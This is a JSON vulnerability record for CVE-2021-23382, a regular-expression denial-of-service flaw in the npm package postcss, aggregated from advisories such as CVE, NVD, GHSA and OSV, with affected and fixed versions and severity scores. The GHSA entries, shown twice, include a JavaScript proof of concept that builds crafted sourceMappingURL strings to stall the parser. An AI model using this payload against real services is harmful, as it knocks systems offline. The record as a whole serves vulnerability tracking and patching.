{"id":"CVE-2021-23382","aliases":["CLSA-2026-1774830263","CLSA-2026-1776299672","CLSA-2026-1779065198","CLSA-2026-1779324473","CLSA-2026-1779670117","CLSA-2026-1790604941","CLSA-2026-1792164471","DEBIAN-CVE-2021-23382","EUVD-2022-0459","GHSA-566m-qj78-rww5","ROOT-APP-NPM-CVE-2021-23382","UBUNTU-CVE-2021-23382"],"status":"published","title":"Regular Expression Denial of Service (ReDoS)","description":"The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \\/\\*\\s* sourceMappingURL=(.*).","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.02557,"percentile":0.8528,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-400"],"published":"2021-04-26T15:30:26Z","modified":"2026-10-23T18:03:37Z","fixes":[{"ecosystem":"npm","package":"postcss","fixed_in":["8.2.13","7.0.36"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"node-postcss","fixed_in":["8.2.1+~cs5.3.23-7"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"node-postcss","fixed_in":["8.2.1+~cs5.3.23-7"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-postcss","fixed_in":["8.2.1+~cs5.3.23-7"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"postcss","fixed_in":["5.2.18-aikido.2","5.2.18-aikido.3","5.2.18-aikido.4","5.2.18-aikido.5","7.0.36-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/postcss","fixed_in":["5.2.18-root.io.1","5.2.18-root.io.2","5.2.18-root.io.3","5.2.18-root.io.4","5.2.18-root.io.5","7.0.36-root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0"},{"fixed":"8.2.13"}]}]},{"source":"ghsa","ecosystem":"npm","package":"postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.36"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.18-tuxcare.0"},{"fixed":"5.2.18-tuxcare.1"}]}],"versions":["5.2.18"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.14-tuxcare.0"},{"fixed":"7.0.14-tuxcare.1"}]}],"versions":["7.0.14"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.21-tuxcare.0"},{"fixed":"7.0.21-tuxcare.1"}]}],"versions":["7.0.21"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.32-tuxcare.0"},{"fixed":"7.0.32-tuxcare.1"}]}],"versions":["7.0.32"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.17-tuxcare.0"},{"fixed":"7.0.17-tuxcare.1"}]}],"versions":["7.0.17"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.1-tuxcare.0"},{"fixed":"6.0.1-tuxcare.1"}]}],"versions":["6.0.1"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.2.9-tuxcare.0"},{"fixed":"8.2.9-tuxcare.1"}]}],"versions":["8.2.9"],"bundled":3},{"source":"osv","ecosystem":"Debian:12","package":"node-postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.2.1+~cs5.3.23-7"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"node-postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.2.1+~cs5.3.23-7"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"node-postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.2.1+~cs5.3.23-7"}]}]},{"source":"osv","ecosystem":"npm","package":"postcss","ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0"},{"fixed":"8.2.13"}]}]},{"source":"osv","ecosystem":"npm","package":"postcss","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.0.36"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.18-aikido.2"},{"fixed":"5.2.18-aikido.3"},{"fixed":"5.2.18-aikido.4"},{"fixed":"5.2.18-aikido.5"},{"fixed":"7.0.36-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.18-root.io.1"},{"fixed":"5.2.18-root.io.2"},{"fixed":"5.2.18-root.io.3"},{"fixed":"5.2.18-root.io.4"},{"fixed":"5.2.18-root.io.5"},{"fixed":"7.0.36-root.io.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.0.23-1","6.0.23-3"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-postcss","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.2.1+~cs5.3.23-8","8.4.5+~cs7.1.51-2","8.4.6+~cs7.3.21-1"]}],"products":[{"vendor":"postcss","product":"postcss"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640","tags":["x_refsource_MISC","x_transferred","Exploit","Patch","Third Party Advisory","fix","web","report"]},{"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641","tags":["x_refsource_MISC","x_transferred","Exploit","Patch","Third Party Advisory","fix","web","report"]},{"url":"https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23382","tags":["advisory"]},{"url":"https://github.com/postcss/postcss/releases/tag/7.0.36","tags":["web"]},{"url":"https://github.com/advisories/GHSA-566m-qj78-rww5"},{"url":"https://security-tracker.debian.org/tracker/CVE-2021-23382","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2021-23382","tags":["report"]},{"url":"https://github.com/postcss/postcss/commit/2ad1ca9b965dde32223bee28dc259c339cbaaa05","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2021-23382","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2021-23382","title":"Regular Expression Denial of Service (ReDoS)","description":"The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \\/\\*\\s* sourceMappingURL=(.*).","status":"published","published":"2021-04-26T15:30:26.301Z","modified":"2024-09-16T23:26:53.744Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"updated_at":"2026-11-02T14:33:00.488332Z"}],"euvd":[{"id":"EUVD-2022-0459","description":"The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \\/\\*\\s* sourceMappingURL=(.*).","status":"published","published":"2021-04-26T15:30:26Z","modified":"2024-09-16T23:26:53Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-03T00:54:50.364031Z"}],"ghsa":[{"id":"GHSA-566m-qj78-rww5","title":"Regular Expression Denial of Service in postcss","description":"The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \n```regex\n\\/\\*\\s* sourceMappingURL=(.*)\n```\n\n### PoC\n```js\nvar postcss = require(\"postcss\")\nfunction build_attack(n) {\n    var ret = \"a{}\"\n    for (var i = 0; i \u003c n; i++) {\n        ret += \"/*# sourceMappingURL=\"\n    }\n    return ret + \"!\";\n}\n```\n```js\npostcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i \u003c= 500000; i++) {\n    if (i % 1000 == 0) {\n        var time = Date.now();\n        var attack_str = build_attack(i) try {\n            postcss.parse(attack_str) var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        } catch (e) {\n            var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        }\n    }\n}\n```","status":"published","published":"2022-01-07T00:21:36Z","modified":"2023-09-08T19:35:15Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:37:03.287418Z"}],"nvd":[{"id":"CVE-2021-23382","description":"The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \\/\\*\\s* sourceMappingURL=(.*).","status":"published","published":"2021-04-26T16:15:07.33Z","modified":"2026-06-17T03:38:39.613Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:N/I:N/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:06:52.81233Z"}],"osv":[{"id":"CVE-2021-23382","description":"The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \\/\\*\\s* sourceMappingURL=(.*).","status":"published","published":"2021-04-26T16:15:07.33Z","modified":"2026-10-20T10:53:37.683137737Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:44:18.367807Z"},{"id":"DEBIAN-CVE-2021-23382","description":"The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \\/\\*\\s* sourceMappingURL=(.*).","status":"published","published":"2021-04-26T16:15:07.33Z","modified":"2026-10-23T18:03:37.00588025Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:34.637046Z"},{"id":"GHSA-566m-qj78-rww5","title":"Regular Expression Denial of Service in postcss","description":"The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \n```regex\n\\/\\*\\s* sourceMappingURL=(.*)\n```\n\n### PoC\n```js\nvar postcss = require(\"postcss\")\nfunction build_attack(n) {\n    var ret = \"a{}\"\n    for (var i = 0; i \u003c n; i++) {\n        ret += \"/*# sourceMappingURL=\"\n    }\n    return ret + \"!\";\n}\n```\n```js\npostcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i \u003c= 500000; i++) {\n    if (i % 1000 == 0) {\n        var time = Date.now();\n        var attack_str = build_attack(i) try {\n            postcss.parse(attack_str) var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        } catch (e) {\n            var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        }\n    }\n}\n```","status":"published","published":"2022-01-07T00:21:36Z","modified":"2025-01-14T08:57:01.148991Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:37.864461Z"},{"id":"UBUNTU-CVE-2021-23382","description":"The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \\/\\*\\s* sourceMappingURL=(.*).","status":"published","published":"2021-04-26T16:15:00Z","modified":"2025-10-24T04:50:08Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:54:26.779273Z"},{"id":"CLSA-2026-1774830263","title":"TuxCare security update for postcss (2 CVEs)","description":"TuxCare rebuilt postcss to address 2 CVEs. Fixed in 5.2.18-tuxcare.1.","status":"published","published":"2026-08-04T14:52:16Z","modified":"2026-10-15T09:47:48.821344347Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1776299672","title":"TuxCare security update for postcss (3 CVEs)","description":"TuxCare rebuilt postcss to address 3 CVEs. Fixed in 7.0.14-tuxcare.1.","status":"published","published":"2026-08-04T14:52:26Z","modified":"2026-10-15T09:47:49.890461269Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1779065198","title":"TuxCare security update for postcss (4 CVEs)","description":"TuxCare rebuilt postcss to address 4 CVEs. Fixed in 7.0.21-tuxcare.1.","status":"published","published":"2026-08-04T14:52:32Z","modified":"2026-10-15T09:45:28.666234919Z","updated_at":"2026-11-02T15:43:44.737408Z"},{"id":"CLSA-2026-1779324473","title":"TuxCare security update for postcss (4 CVEs)","description":"TuxCare rebuilt postcss to address 4 CVEs. Fixed in 7.0.32-tuxcare.1.","status":"published","published":"2026-08-04T14:52:33Z","modified":"2026-10-15T09:48:03.725144745Z","updated_at":"2026-11-02T15:43:45.090939Z"},{"id":"CLSA-2026-1779670117","title":"TuxCare security update for postcss (4 CVEs)","description":"TuxCare rebuilt postcss to address 4 CVEs. Fixed in 7.0.17-tuxcare.1.","status":"published","published":"2026-08-04T14:52:33Z","modified":"2026-10-15T09:47:50.219691591Z","updated_at":"2026-11-02T15:43:45.090939Z"},{"id":"CLSA-2026-1790604941","title":"TuxCare security update for postcss (6 CVEs)","description":"TuxCare rebuilt postcss to address 6 CVEs. Fixed in 6.0.1-tuxcare.1.","status":"published","published":"2026-09-28T14:15:41Z","modified":"2026-10-15T09:48:04.060835227Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1792164471","title":"TuxCare security update for postcss (3 CVEs)","description":"TuxCare rebuilt postcss to address 3 CVEs. Fixed in 8.2.9-tuxcare.1.","status":"published","published":"2026-10-16T15:27:51Z","modified":"2026-10-16T16:30:46.820295121Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"ROOT-APP-NPM-CVE-2021-23382","title":"CVE-2021-23382 in postcss - Patched by Root","description":"Root has patched CVE-2021-23382 in the postcss package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-08-28T07:39:33Z","modified":"2026-08-28T08:45:03.225013352Z","updated_at":"2026-11-02T15:53:27.362922Z"}]}}
